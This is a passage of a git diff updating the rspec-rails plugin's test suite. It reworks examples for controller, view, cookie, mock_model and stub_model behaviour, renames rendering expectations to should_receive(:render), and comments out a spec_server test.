+ assigns[:a_variable].should be_false
end
it "should NOT complain when calling should_receive with arguments other than :render" do
@@ -132,6 +186,12 @@ require 'controller_spec_controller'
controller.rspec_verify
}.should raise_error(Exception, /expected :anything_besides_render/)
end
+
+ it "should not run a skipped before_filter" do
+ lambda {
+ get 'action_with_skipped_before_filter'
+ }.should_not raise_error
+ end
end
describe "Given a controller spec for RedirectSpecController running in #{mode} mode", :type => :controller do
@@ -172,6 +232,19 @@ require 'controller_spec_controller'
end
+['integration', 'isolation'].each do |mode|
+ describe "A controller example running in #{mode} mode", :type => :controller do
+ controller_name :controller_inheriting_from_application_controller
+ integrate_views if mode == 'integration'
+
+ it "should only have a before filter inherited from ApplicationController run once..." do
+ controller.should_receive(:i_should_only_be_run_once).once
+ get :action_with_inherited_before_filter
+ end
+ end
+end
+
+
describe ControllerSpecController, :type => :controller do
it "should not require naming the controller if describe is passed a type" do
end
diff --git a/vendor/plugins/rspec-rails/spec/rails/example/cookies_proxy_spec.rb b/vendor/plugins/rspec-rails/spec/rails/example/cookies_proxy_spec.rb
new file mode 100644
index 00000000..012d7124
--- /dev/null
+++ b/vendor/plugins/rspec-rails/spec/rails/example/cookies_proxy_spec.rb
@@ -0,0 +1,74 @@
+require File.dirname(__FILE__) + '/../../spec_helper'
+
+class CookiesProxyExamplesController < ActionController::Base
+ def index
+ cookies[:key] = cookies[:key]
+ end
+end
+
+module Spec
+ module Rails
+ module Example
+ describe CookiesProxy, :type => :controller do
+ controller_name :cookies_proxy_examples
+
+ describe "with a String key" do
+
+ it "should accept a String value" do
+ cookies = CookiesProxy.new(self)
+ cookies['key'] = 'value'
+ get :index
+ cookies['key'].should == ['value']
+ end
+
+ if Rails::VERSION::STRING >= "2.0.0"
+ it "should accept a Hash value" do
+ cookies = CookiesProxy.new(self)
+ cookies['key'] = { :value => 'value', :expires => expiration = 1.hour.from_now, :path => path = '/path' }
+ get :index
+ cookies['key'].should == ['value']
+ cookies['key'].value.should == ['value']
+ cookies['key'].expires.should == expiration
+ cookies['key'].path.should == path
+ end
+ end
+
+ end
+
+ describe "with a Symbol key" do
+
+ it "should accept a String value" do
+ example_cookies = CookiesProxy.new(self)
+ example_cookies[:key] = 'value'
+ get :index
+ example_cookies[:key].should == ['value']
+ end
+
+ if Rails::VERSION::STRING >= "2.0.0"
+ it "should accept a Hash value" do
+ example_cookies = CookiesProxy.new(self)
+ example_cookies[:key] = { :value => 'value', :expires => expiration = 1.hour.from_now, :path => path = '/path' }
+ get :index
+ example_cookies[:key].should == ['value']
+ example_cookies[:key].value.should == ['value']
+ example_cookies[:key].expires.should == expiration
+ example_cookies[:key].path.should == path
+ end
+ end
+
+ end
+
+ describe "#delete" do
+ it "should delete from the response cookies" do
+ example_cookies = CookiesProxy.new(self)
+ response_cookies = mock('cookies')
+ response.should_receive(:cookies).and_return(response_cookies)
+ response_cookies.should_receive(:delete).with('key')
+ example_cookies.delete :key
+ end
+ end
+ end
+
+ end
+ end
+end
diff --git a/vendor/plugins/rspec-rails/spec/rails/example/view_spec_spec.rb b/vendor/plugins/rspec-rails/spec/rails/example/view_spec_spec.rb
index 14159c65..5cdecaf8 100644
--- a/vendor/plugins/rspec-rails/spec/rails/example/view_spec_spec.rb
+++ b/vendor/plugins/rspec-rails/spec/rails/example/view_spec_spec.rb
@@ -82,14 +82,14 @@ describe "A template that includes a partial", :type => :view do
response.should have_tag('div', "This is text from a method in the ApplicationHelper")
end
- it "should pass expect_render with the right partial" do
- template.expect_render(:partial => 'partial')
+ it "should pass should_receive(:render) with the right partial" do
+ template.should_receive(:render).with(:partial => 'partial')
render!
template.verify_rendered
end
- it "should fail expect_render with the wrong partial" do
- template.expect_render(:partial => 'non_existent')
+ it "should fail should_receive(:render) with the wrong partial" do
+ template.should_receive(:render).with(:partial => 'non_existent')
render!
begin
template.verify_rendered
@@ -99,14 +99,14 @@ describe "A template that includes a partial", :type => :view do
end
end
- it "should pass expect_render when a partial is expected twice and happens twice" do
- template.expect_render(:partial => 'partial_used_twice').twice
+ it "should pass should_receive(:render) when a partial is expected twice and happens twice" do
+ template.should_receive(:render).with(:partial => 'partial_used_twice').twice
render!
template.verify_rendered
end
- it "should pass expect_render when a partial is expected once and happens twice" do
- template.expect_render(:partial => 'partial_used_twice')
+ it "should pass should_receive(:render) when a partial is expected once and happens twice" do
+ template.should_receive(:render).with(:partial => 'partial_used_twice')
render!
begin
template.verify_rendered
@@ -116,17 +116,17 @@ describe "A template that includes a partial", :type => :view do
end
end
- it "should fail expect_render with the right partial but wrong options" do
- template.expect_render(:partial => 'partial', :locals => {:thing => Object.new})
+ it "should fail should_receive(:render) with the right partial but wrong options" do
+ template.should_receive(:render).with(:partial => 'partial', :locals => {:thing => Object.new})
render!
lambda {template.verify_rendered}.should raise_error(Spec::Mocks::MockExpectationError)
end
end
describe "A partial that includes a partial", :type => :view do
- it "should support expect_render with nested partial" do
+ it "should support should_receive(:render) with nested partial" do
obj = Object.new
- template.expect_render(:partial => 'partial', :object => obj)
+ template.should_receive(:render).with(:partial => 'partial', :object => obj)
render :partial => "view_spec/partial_with_sub_partial", :locals => { :partial => obj }
end
end
@@ -141,7 +141,7 @@ describe "A view that includes a partial using :collection and :spacer_template"
end
it "should render the partial" do
- template.expect_render(:partial => 'partial',
+ template.should_receive(:render).with(:partial => 'partial',
:collection => ['Alice', 'Bob'],
:spacer_template => 'spacer')
render "view_spec/template_with_partial_using_collection"
@@ -149,37 +149,19 @@ describe "A view that includes a partial using :collection and :spacer_template"
end
-describe "A view that includes a partial using an array as partial_path", :type => :view do
- before(:each) do
- module ActionView::Partials
- def render_template_with_partial_with_array_support(partial_path, local_assigns = nil, deprecated_local_assigns = nil)
- if partial_path.is_a?(Array)
- "Array Partial"
- else
- render_partial_without_array_support(partial_path, local_assigns, deprecated_local_assigns)
- end
- end
-
- alias :render_partial_without_array_support :render_partial
- alias :render_partial :render_template_with_partial_with_array_support
+if Rails::VERSION::MAJOR >= 2
+ describe "A view that includes a partial using an array as partial_path", :type => :view do
+ before(:each) do
+ renderable_object = Object.new
+ renderable_object.stub!(:name).and_return("Renderable Object")
+ assigns[:array] = [renderable_object]
end
- @array = ['Alice', 'Bob']
- assigns[:array] = @array
- end
-
- after(:each) do
- module ActionView::Partials
- alias :render_template_with_partial_with_array_support :render_partial
- alias :render_partial :render_partial_without_array_support
- undef render_template_with_partial_with_array_support
+ it "should render the array passed through to render_partial without modification" do
+ render "view_spec/template_with_partial_with_array"
+ response.body.should match(/^Renderable Object$/)
end
end
-
- it "should render have the array passed through to render_partial without modification" do
- render "view_spec/template_with_partial_with_array"
- response.body.should match(/^Array Partial$/)
- end
end
describe "Different types of renders (not :template)", :type => :view do
@@ -239,6 +221,20 @@ describe "An instantiated ViewExampleGroupController", :type => :view do
end
end
+describe "a block helper", :type => :view do
+ it "should not yield when not told to in the example" do
+ template.should_receive(:if_allowed)
+ render "view_spec/block_helper"
+ response.should_not have_tag("div","block helper was rendered")
+ end
+
+ it "should yield when told to in the example" do
+ template.should_receive(:if_allowed).and_yield
+ render "view_spec/block_helper"
+ response.should have_tag("div","block helper was rendered")
+ end
+end
+
describe "render :inline => ...", :type => :view do
it "should render ERB right in the spec" do
render :inline => %|<%= text_field_tag('field_name', 'Value') %>|
@@ -270,3 +266,15 @@ module Spec
end
end
end
+
+describe "bug http://rspec.lighthouseapp.com/projects/5645/tickets/510", :type => :view do
+ describe "a view example with should_not_receive" do
+ it "should render the view" do
+ obj = mock('model')
+ obj.should_receive(:render_partial?).and_return false
+ assigns[:obj] = obj
+ template.should_not_receive(:render).with(:partial => 'some_partial')
+ render "view_spec/should_not_receive"
+ end
+ end
+end
diff --git a/vendor/plugins/rspec-rails/spec/rails/extensions/action_view_base_spec.rb b/vendor/plugins/rspec-rails/spec/rails/extensions/action_view_base_spec.rb
index 599249f0..00d95149 100644
--- a/vendor/plugins/rspec-rails/spec/rails/extensions/action_view_base_spec.rb
+++ b/vendor/plugins/rspec-rails/spec/rails/extensions/action_view_base_spec.rb
@@ -3,44 +3,44 @@ require 'spec/mocks/errors'
describe ActionView::Base, "with RSpec extensions:", :type => :view do
- describe "expect_render" do
+ describe "should_receive(:render)" do
it "should not raise when render has been received" do
- template.expect_render(:partial => "name")
+ template.should_receive(:render).with(:partial => "name")
template.render :partial => "name"
end
it "should raise when render has NOT been received" do
- template.expect_render(:partial => "name")
+ template.should_receive(:render).with(:partial => "name")
lambda {
template.verify_rendered
}.should raise_error
end
it "should return something (like a normal mock)" do
- template.expect_render(:partial => "name").and_return("Little Johnny")
+ template.should_receive(:render).with(:partial => "name").and_return("Little Johnny")
result = template.render :partial => "name"
result.should == "Little Johnny"
end
end
- describe "stub_render" do
+ describe "stub!(:render)" do
it "should not raise when stubbing and render has been received" do
- template.stub_render(:partial => "name")
+ template.stub!(:render).with(:partial => "name")
template.render :partial => "name"
end
it "should not raise when stubbing and render has NOT been received" do
- template.stub_render(:partial => "name")
+ template.stub!(:render).with(:partial => "name")
end
it "should not raise when stubbing and render has been received with different options" do
- template.stub_render(:partial => "name")
+ template.stub!(:render).with(:partial => "name")
template.render :partial => "view_spec/spacer"
end
it "should not raise when stubbing and expecting and render has been received" do
- template.stub_render(:partial => "name")
- template.expect_render(:partial => "name")
+ template.stub!(:render).with(:partial => "name")
+ template.should_receive(:render).with(:partial => "name")
template.render(:partial => "name")
end
end
diff --git a/vendor/plugins/rspec-rails/spec/rails/interop/testcase_spec.rb b/vendor/plugins/rspec-rails/spec/rails/interop/testcase_spec.rb
new file mode 100644
index 00000000..0630e510
--- /dev/null
+++ b/vendor/plugins/rspec-rails/spec/rails/interop/testcase_spec.rb
@@ -0,0 +1,66 @@
+require File.dirname(__FILE__) + '/../../spec_helper'
+
+
+if ActiveSupport.const_defined?(:Callbacks) && Test::Unit::TestCase.include?(ActiveSupport::Callbacks)
+
+ class TestUnitTesting < Test::Unit::TestCase
+ @@setup_callback_count = 0
+ @@setup_method_count = 0
+ @@teardown_callback_count = 0
+ @@teardown_method_count = 0
+ cattr_accessor :setup_callback_count, :setup_method_count, :teardown_callback_count, :teardown_method_count
+
+ setup :do_some_setup
+ teardown :do_some_teardown
+
+ @@has_been_run = false
+ def self.run?
+ @@has_been_run
+ end
+
+ def do_some_setup
+ @@setup_callback_count += 1
+ end
+
+ def setup
+ @@setup_method_count += 1
+ end
+
+ def test_something
+ assert_equal true, true
+ @@has_been_run = true
+ end
+
+ def teardown
+ @@teardown_method_count += 1
+ end
+
+ def do_some_teardown
+ @@teardown_callback_count += 1
+ end
+ end
+
+ module Test
+ module Unit
+ describe "Running TestCase tests" do
+ before(:all) do
+ TestUnitTesting.run unless TestUnitTesting.run?
+ end
+
+ it "should call the setup callbacks" do
+ TestUnitTesting.setup_callback_count.should == 1
+ end
+ it "should still only call the normal setup method once" do
+ TestUnitTesting.setup_method_count.should == 1
+ end
+ it "should call the teardown callbacks" do
+ TestUnitTesting.teardown_callback_count.should == 1
+ end
+ it "should still only call the normal teardown method once" do
+ TestUnitTesting.teardown_method_count.should == 1
+ end
+ end
+ end
+ end
+
+end
\ No newline at end of file
diff --git a/vendor/plugins/rspec-rails/spec/rails/matchers/assert_select_spec.rb b/vendor/plugins/rspec-rails/spec/rails/matchers/assert_select_spec.rb
index 85bd08e4..5c5f9b51 100644
--- a/vendor/plugins/rspec-rails/spec/rails/matchers/assert_select_spec.rb
+++ b/vendor/plugins/rspec-rails/spec/rails/matchers/assert_select_spec.rb
@@ -601,9 +601,6 @@ describe "have_rjs behaviour_type", :type => :controller do
with_tag("div", 1)
with_tag("#1")
end
- lambda {
- response.should have_rjs(:insert, :top, "test2")
- }.should raise_error(SpecFailed)
response.should have_rjs(:insert, :bottom) {|rjs|
with_tag("div", 1)
with_tag("#2")
@@ -629,6 +626,17 @@ describe "have_rjs behaviour_type", :type => :controller do
with_tag("#4")
}
end
+
+ it "should find rjs using :insert (positioned)" do
+ pending("await fix for http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/982")
+ render_rjs do |page|
+ page.insert_html :top, "test1", "
foo
"
+ page.insert_html :bottom, "test2", "
bar
"
+ end
+ lambda {
+ response.should have_rjs(:insert, :top, "test2")
+ }.should raise_error(SpecFailed)
+ end
end
describe "send_email behaviour_type", :type => :controller do
diff --git a/vendor/plugins/rspec-rails/spec/rails/matchers/include_text_spec.rb b/vendor/plugins/rspec-rails/spec/rails/matchers/include_text_spec.rb
index 1ac3fd7c..dc80d5f9 100644
--- a/vendor/plugins/rspec-rails/spec/rails/matchers/include_text_spec.rb
+++ b/vendor/plugins/rspec-rails/spec/rails/matchers/include_text_spec.rb
@@ -40,30 +40,24 @@ describe "include_text", :type => :controller do
response.should include_text('text for this')
end
- it "should fail with matching text" do
+ it "should fail with incorrect text" do
post 'text_action'
lambda {
- response.should include_text("this is NOT the text for this action")
- }.should fail_with("expected to find \"this is NOT the text for this action\" in \"this is the text for this action\"")
- end
-
- it "should fail when a template is rendered" do
- post 'some_action'
- failure_message = case mode
- when 'isolation'
- /expected to find \"this is the text for this action\" in \"render_spec\/some_action\"/
- when 'integration'
- /expected to find \"this is the text for this action\" in \"\"/
- end
- lambda {
- response.should include_text("this is the text for this action")
- }.should fail_with(failure_message)
+ response.should include_text("the accordian guy")
+ }.should fail_with("expected to find \"the accordian guy\" in \"this is the text for this action\"")
end
it "should pass using should_not with incorrect text" do
post 'text_action'
response.should_not include_text("the accordian guy")
end
+
+ it "should fail when a template is rendered" do
+ get 'some_action'
+ lambda {
+ response.should include_text("this is the text for this action")
+ }.should fail_with(/expected to find \"this is the text for this action\"/)
+ end
end
end
end
diff --git a/vendor/plugins/rspec-rails/spec/rails/matchers/redirect_to_spec.rb b/vendor/plugins/rspec-rails/spec/rails/matchers/redirect_to_spec.rb
index e3ce486d..ea128b08 100644
--- a/vendor/plugins/rspec-rails/spec/rails/matchers/redirect_to_spec.rb
+++ b/vendor/plugins/rspec-rails/spec/rails/matchers/redirect_to_spec.rb
@@ -6,7 +6,7 @@ require File.dirname(__FILE__) + '/../../spec_helper'
integrate_views
end
controller_name :redirect_spec
-
+
it "redirected to another action" do
get 'action_with_redirect_to_somewhere'
response.should redirect_to(:action => 'somewhere')
diff --git a/vendor/plugins/rspec-rails/spec/rails/matchers/render_spec.rb b/vendor/plugins/rspec-rails/spec/rails/matchers/render_template_spec.rb
similarity index 87%
rename from vendor/plugins/rspec-rails/spec/rails/matchers/render_spec.rb
rename to vendor/plugins/rspec-rails/spec/rails/matchers/render_template_spec.rb
index 93cca867..b583746d 100644
--- a/vendor/plugins/rspec-rails/spec/rails/matchers/render_spec.rb
+++ b/vendor/plugins/rspec-rails/spec/rails/matchers/render_template_spec.rb
@@ -7,7 +7,7 @@ require File.dirname(__FILE__) + '/../../spec_helper'
if mode == 'integration'
integrate_views
end
-
+
it "should match a simple path" do
post 'some_action'
response.should render_template('some_action')
@@ -27,7 +27,7 @@ require File.dirname(__FILE__) + '/../../spec_helper'
post 'some_action'
response.should render_template(:some_action)
end
-
+
it "should match an rjs template" do
xhr :post, 'some_action'
if Rails::VERSION::STRING < "2.0.0"
@@ -36,50 +36,57 @@ require File.dirname(__FILE__) + '/../../spec_helper'
response.should render_template('render_spec/some_action')
end
end
-
+
it "should match a partial template (simple path)" do
get 'action_with_partial'
response.should render_template("_a_partial")
end
-
+
it "should match a partial template (complex path)" do
get 'action_with_partial'
response.should render_template("render_spec/_a_partial")
end
-
+
it "should fail when the wrong template is rendered" do
post 'some_action'
lambda do
response.should render_template('non_existent_template')
- end.should fail_with("expected \"non_existent_template\", got \"render_spec/some_action\"")
+ end.should fail_with(/expected \"non_existent_template\", got \"render_spec\/some_action(.rhtml)?\"/)
end
-
+
it "should fail without full path when template is associated with a different controller" do
post 'action_which_renders_template_from_other_controller'
lambda do
response.should render_template('action_with_template')
- end.should fail_with(%Q|expected "action_with_template", got "controller_spec/action_with_template"|)
+ end.should fail_with(/expected \"action_with_template\", got \"controller_spec\/action_with_template(.rhtml)?\"/)
end
-
+
it "should fail with incorrect full path when template is associated with a different controller" do
post 'action_which_renders_template_from_other_controller'
lambda do
response.should render_template('render_spec/action_with_template')
- end.should fail_with(%Q|expected "render_spec/action_with_template", got "controller_spec/action_with_template"|)
+ end.should fail_with(/expected \"render_spec\/action_with_template\", got \"controller_spec\/action_with_template(\.rhtml)?\"/)
end
-
+
it "should fail on the wrong extension (given rhtml)" do
get 'some_action'
lambda {
response.should render_template('render_spec/some_action.rjs')
- }.should fail_with("expected \"render_spec/some_action.rjs\", got \"render_spec/some_action\"")
+ }.should fail_with(/expected \"render_spec\/some_action\.rjs\", got \"render_spec\/some_action(\.rhtml)?\"/)
end
-
+
it "should fail when TEXT is rendered" do
post 'text_action'
lambda do
response.should render_template('some_action')
- end.should fail_with("expected \"some_action\", got nil")
+ end.should fail_with(/expected \"some_action\", got (nil|\"\")/)
+ end
+
+ describe "with an alternate layout" do
+ it "should say it rendered the action's template" do
+ get 'action_with_alternate_layout'
+ response.should render_template('action_with_alternate_layout')
+ end
end
end
diff --git a/vendor/plugins/rspec-rails/spec/rails/matchers/should_change_spec.rb b/vendor/plugins/rspec-rails/spec/rails/matchers/should_change_spec.rb
new file mode 100644
index 00000000..276ba54d
--- /dev/null
+++ b/vendor/plugins/rspec-rails/spec/rails/matchers/should_change_spec.rb
@@ -0,0 +1,15 @@
+require File.dirname(__FILE__) + '/../../spec_helper'
+
+describe "should change" do
+ describe "handling association proxies" do
+ it "should match expected collection with proxied collection" do
+ person = Person.create!(:name => 'David')
+ koala = person.animals.create!(:name => 'Koala')
+ zebra = person.animals.create!(:name => 'Zebra')
+
+ lambda {
+ person.animals.delete(koala)
+ }.should change{person.animals}.to([zebra])
+ end
+ end
+end
\ No newline at end of file
diff --git a/vendor/plugins/rspec-rails/spec/rails/mocks/mock_model_spec.rb b/vendor/plugins/rspec-rails/spec/rails/mocks/mock_model_spec.rb
index 9ca171b8..3d613258 100644
--- a/vendor/plugins/rspec-rails/spec/rails/mocks/mock_model_spec.rb
+++ b/vendor/plugins/rspec-rails/spec/rails/mocks/mock_model_spec.rb
@@ -2,63 +2,105 @@ require File.dirname(__FILE__) + '/../../spec_helper'
require File.dirname(__FILE__) + '/ar_classes'
describe "mock_model" do
- before(:each) do
- @model = mock_model(SubMockableModel)
+ describe "responding to interrogation" do
+ before(:each) do
+ @model = mock_model(SubMockableModel)
+ end
+ it "should say it is_a? if it is" do
+ @model.is_a?(SubMockableModel).should be(true)
+ end
+ it "should say it is_a? if it's ancestor is" do
+ @model.is_a?(MockableModel).should be(true)
+ end
+ it "should say it is kind_of? if it is" do
+ @model.kind_of?(SubMockableModel).should be(true)
+ end
+ it "should say it is kind_of? if it's ancestor is" do
+ @model.kind_of?(MockableModel).should be(true)
+ end
+ it "should say it is instance_of? if it is" do
+ @model.instance_of?(SubMockableModel).should be(true)
+ end
+ it "should not say it instance_of? if it isn't, even if it's ancestor is" do
+ @model.instance_of?(MockableModel).should be(false)
+ end
end
- it "should say it is_a? if it is" do
- @model.is_a?(SubMockableModel).should be(true)
+
+ describe "with params" do
+ it "should not mutate its parameters" do
+ params = {:a => 'b'}
+ model = mock_model(MockableModel, params)
+ params.should == {:a => 'b'}
+ end
end
- it "should say it is_a? if it's ancestor is" do
- @model.is_a?(MockableModel).should be(true)
+
+ describe "with #id stubbed", :type => :view do
+ before(:each) do
+ @model = mock_model(MockableModel, :id => 1)
+ end
+ it "should be named using the stubbed id value" do
+ @model.instance_variable_get(:@name).should == "MockableModel_1"
+ end
+ it "should return string of id value for to_param" do
+ @model.to_param.should == "1"
+ end
end
- it "should say it is kind_of? if it is" do
- @model.kind_of?(SubMockableModel).should be(true)
+
+ describe "as association", :type => :view do
+ before(:each) do
+ @real = AssociatedModel.create!
+ @mock_model = mock_model(MockableModel)
+ @real.mockable_model = @mock_model
+ end
+
+ it "should pass associated_model == mock" do
+ @mock_model.should == @real.mockable_model
+ end
+
+ it "should pass mock == associated_model" do
+ @real.mockable_model.should == @mock_model
+ end
end
- it "should say it is kind_of? if it's ancestor is" do
- @model.kind_of?(MockableModel).should be(true)
+
+ describe "with :null_object => true", :type => :view do
+ before(:each) do
+ @model = mock_model(MockableModel, :null_object => true, :mocked_method => "mocked")
+ end
+
+ it "should be able to mock methods" do
+ @model.mocked_method.should == "mocked"
+ end
+ it "should return itself to unmocked methods" do
+ @model.unmocked_method.should equal(@model)
+ end
end
- it "should say it is instance_of? if it is" do
- @model.instance_of?(SubMockableModel).should be(true)
+
+ describe "#as_null_object", :type => :view do
+ before(:each) do
+ @model = mock_model(MockableModel, :mocked_method => "mocked").as_null_object
+ end
+
+ it "should be able to mock methods" do
+ @model.mocked_method.should == "mocked"
+ end
+ it "should return itself to unmocked methods" do
+ @model.unmocked_method.should equal(@model)
+ end
end
- it "should not say it instance_of? if it isn't, even if it's ancestor is" do
- @model.instance_of?(MockableModel).should be(false)
+
+ describe "#as_new_record" do
+ it "should say it is a new record" do
+ mock_model(MockableModel).as_new_record.should be_new_record
+ end
+
+ it "should have a nil id" do
+ mock_model(MockableModel).as_new_record.id.should be(nil)
+ end
+
+ it "should return nil for #to_param" do
+ mock_model(MockableModel).as_new_record.to_param.should be(nil)
+ end
end
end
-describe "mock_model with stubbed id", :type => :view do
- before(:each) do
- @model = mock_model(MockableModel, :id => 1)
- end
- it "should be named using the stubbed id value" do
- @model.instance_variable_get(:@name).should == "MockableModel_1"
- end
-end
-describe "mock_model with null_object", :type => :view do
- before(:each) do
- @model = mock_model(MockableModel, :null_object => true, :mocked_method => "mocked")
- end
-
- it "should be able to mock methods" do
- @model.mocked_method.should == "mocked"
- end
- it "should return itself to unmocked methods" do
- @model.unmocked_method.should equal(@model)
- end
-end
-
-describe "mock_model as association", :type => :view do
- before(:each) do
- @real = AssociatedModel.create!
- @mock_model = mock_model(MockableModel)
- @real.mockable_model = @mock_model
- end
-
- it "should pass associated_model == mock" do
- @mock_model.should == @real.mockable_model
- end
-
- it "should pass mock == associated_model" do
- @real.mockable_model.should == @mock_model
- end
-end
diff --git a/vendor/plugins/rspec-rails/spec/rails/mocks/stub_model_spec.rb b/vendor/plugins/rspec-rails/spec/rails/mocks/stub_model_spec.rb
index 4de5690f..a8603f82 100644
--- a/vendor/plugins/rspec-rails/spec/rails/mocks/stub_model_spec.rb
+++ b/vendor/plugins/rspec-rails/spec/rails/mocks/stub_model_spec.rb
@@ -51,29 +51,30 @@ describe "stub_model" do
second.id.should == (first.id + 1)
end
-end
-
-describe "stub_model as association" do
- before(:each) do
- @real = AssociatedModel.create!
- @stub_model = stub_model(MockableModel)
- @real.mockable_model = @stub_model
- end
-
- it "should pass associated_model == mock" do
- @stub_model.should == @real.mockable_model
- end
-
- it "should pass mock == associated_model" do
- @real.mockable_model.should == @stub_model
- end
-end
-
-describe "stub_model with a block" do
- it "should yield the model" do
- model = stub_model(MockableModel) do |block_arg|
- @block_arg = block_arg
+ describe "as association" do
+ before(:each) do
+ @real = AssociatedModel.create!
+ @stub_model = stub_model(MockableModel)
+ @real.mockable_model = @stub_model
+ end
+
+ it "should pass associated_model == mock" do
+ @stub_model.should == @real.mockable_model
+ end
+
+ it "should pass mock == associated_model" do
+ @real.mockable_model.should == @stub_model
+ end
+ end
+
+ describe "with a block" do
+ it "should yield the model" do
+ model = stub_model(MockableModel) do |block_arg|
+ @block_arg = block_arg
+ end
+ model.should be(@block_arg)
end
- model.should be(@block_arg)
end
end
+
+
diff --git a/vendor/plugins/rspec-rails/spec/rails/spec_server_spec.rb b/vendor/plugins/rspec-rails/spec/rails/spec_server_spec.rb
index 0e7d172f..82a47bae 100644
--- a/vendor/plugins/rspec-rails/spec/rails/spec_server_spec.rb
+++ b/vendor/plugins/rspec-rails/spec/rails/spec_server_spec.rb
@@ -1,96 +1,96 @@
-require File.dirname(__FILE__) + '/../spec_helper'
-
-describe "script/spec_server file", :shared => true do
- attr_accessor :tmbundle_install_directory
- attr_reader :animals_yml_path, :original_animals_content
-
- before do
- @animals_yml_path = File.expand_path("#{RAILS_ROOT}/spec/fixtures/animals.yml")
- @original_animals_content = File.read(animals_yml_path)
- end
-
- after do
- File.open(animals_yml_path, "w") do |f|
- f.write original_animals_content
- end
- end
-
- after(:each) do
- system "lsof -i tcp:8989 | sed /COMMAND/d | awk '{print $2}' | xargs kill"
- end
-
- it "runs a spec" do
- dir = File.dirname(__FILE__)
- output = ""
- Timeout.timeout(10) do
- loop do
- output = `#{RAILS_ROOT}/script/spec #{dir}/sample_spec.rb --drb 2>&1`
- break unless output.include?("No server is running")
- end
- end
-
- if $?.exitstatus != 0 || output !~ /0 failures/
- flunk "command 'script/spec spec/sample_spec' failed\n#{output}"
- end
-
- fixtures = YAML.load(@original_animals_content)
- fixtures['pig']['name'] = "Piggy"
-
- File.open(animals_yml_path, "w") do |f|
- f.write YAML.dump(fixtures)
- end
-
- Timeout.timeout(10) do
- loop do
- output = `#{RAILS_ROOT}/script/spec #{dir}/sample_modified_fixture.rb --drb 2>&1`
- break unless output.include?("No server is running")
- end
- end
-
- if $?.exitstatus != 0 || output !~ /0 failures/
- flunk "command 'script/spec spec/sample_modified_fixture' failed\n#{output}"
- end
- end
-
- def start_spec_server
- dir = File.dirname(__FILE__)
- Thread.start do
- system "cd #{RAILS_ROOT}; script/spec_server"
- end
-
- file_content = ""
- end
-end
-
-describe "script/spec_server file without TextMate bundle" do
- it_should_behave_like "script/spec_server file"
- before(:each) do
- start_spec_server
- end
-end
-
-describe "script/spec_server file with TextMate bundle" do
- it_should_behave_like "script/spec_server file"
- before(:each) do
- dir = File.dirname(__FILE__)
- @tmbundle_install_directory = File.expand_path("#{Dir.tmpdir}/Library/Application Support/TextMate/Bundles")
- @bundle_name = "RSpec.tmbundle"
- FileUtils.mkdir_p(tmbundle_install_directory)
- bundle_dir = File.expand_path("#{dir}/../../../../../../#{@bundle_name}")
- File.directory?(bundle_dir).should be_true
- unless system(%Q|ln -s #{bundle_dir} "#{tmbundle_install_directory}"|)
- raise "Creating link to Textmate Bundle"
- end
- start_spec_server
- end
-
- after(:each) do
- bundle_file_to_remove = "#{tmbundle_install_directory}/#{@bundle_name}"
- if bundle_file_to_remove == "/"
- raise "bundle file path resolved to '/' - could not call rm"
- end
- unless system(%Q|rm "#{bundle_file_to_remove}"|)
- raise "Removing Textmate bundle link failed"
- end
- end
-end
+# require File.dirname(__FILE__) + '/../spec_helper'
+#
+# describe "script/spec_server file", :shared => true do
+# attr_accessor :tmbundle_install_directory
+# attr_reader :animals_yml_path, :original_animals_content
+#
+# before do
+# @animals_yml_path = File.expand_path("#{RAILS_ROOT}/spec/fixtures/animals.yml")
+# @original_animals_content = File.read(animals_yml_path)
+# end
+#
+# after do
+# File.open(animals_yml_path, "w") do |f|
+# f.write original_animals_content
+# end
+# end
+#
+# after(:each) do
+# system "lsof -i tcp:8989 | sed /COMMAND/d | awk '{print $2}' | xargs kill"
+# end
+#
+# it "runs a spec" do
+# dir = File.dirname(__FILE__)
+# output = ""
+# Timeout.timeout(10) do
+# loop do
+# output = `#{RAILS_ROOT}/script/spec #{dir}/sample_spec.rb --drb 2>&1`
+# break unless output.include?("No server is running")
+# end
+# end
+#
+# if $?.exitstatus != 0 || output !~ /0 failures/
+# flunk "command 'script/spec spec/sample_spec' failed\n#{output}"
+# end
+#
+# fixtures = YAML.load(@original_animals_content)
+# fixtures['pig']['name'] = "Piggy"
+#
+# File.open(animals_yml_path, "w") do |f|
+# f.write YAML.dump(fixtures)
+# end
+#
+# Timeout.timeout(10) do
+# loop do
+# output = `#{RAILS_ROOT}/script/spec #{dir}/sample_modified_fixture.rb --drb 2>&1`
+# break unless output.include?("No server is running")
+# end
+# end
+#
+# if $?.exitstatus != 0 || output !~ /0 failures/
+# flunk "command 'script/spec spec/sample_modified_fixture' failed\n#{output}"
+# end
+# end
+#
+# def start_spec_server
+# dir = File.dirname(__FILE__)
+# Thread.start do
+# system "cd #{RAILS_ROOT}; script/spec_server"
+# end
+#
+# file_content = ""
+# end
+# end
+#
+# describe "script/spec_server file without TextMate bundle" do
+# it_should_behave_like "script/spec_server file"
+# before(:each) do
+# start_spec_server
+# end
+# end
+#
+# describe "script/spec_server file with TextMate bundle" do
+# it_should_behave_like "script/spec_server file"
+# before(:each) do
+# dir = File.dirname(__FILE__)
+# @tmbundle_install_directory = File.expand_path("#{Dir.tmpdir}/Library/Application Support/TextMate/Bundles")
+# @bundle_name = "RSpec.tmbundle"
+# FileUtils.mkdir_p(tmbundle_install_directory)
+# bundle_dir = File.expand_path("#{dir}/../../../../../../#{@bundle_name}")
+# File.directory?(bundle_dir).should be_true
+# unless system(%Q|ln -s #{bundle_dir} "#{tmbundle_install_directory}"|)
+# raise "Creating link to Textmate Bundle"
+# end
+# start_spec_server
+# end
+#
+# after(:each) do
+# bundle_file_to_remove = "#{tmbundle_install_directory}/#{@bundle_name}"
+# if bundle_file_to_remove == "/"
+# raise "bundle file path resolved to '/' - could not call rm"
+# end
+# unless system(%Q|rm "#{bundle_file_to_remove}"|)
+# raise "Removing Textmate bundle link failed"
+# end
+# end
+# end
diff --git a/vendor/plugins/rspec-rails/spec/spec_helper.rb b/vendor/plugins/rspec-rails/spec/spec_helper.rb
index 2d2c7279..bc2f92b2 100644
--- a/vendor/plugins/rspec-rails/spec/spec_helper.rb
+++ b/vendor/plugins/rspec-rails/spec/spec_helper.rb
@@ -12,7 +12,12 @@ require File.expand_path("#{dir}/../spec_resources/helpers/more_explicit_helper"
require File.expand_path("#{dir}/../spec_resources/helpers/view_spec_helper")
require File.expand_path("#{dir}/../spec_resources/helpers/plugin_application_helper")
-ActionController::Routing.controller_paths << "#{dir}/../spec_resources/controllers"
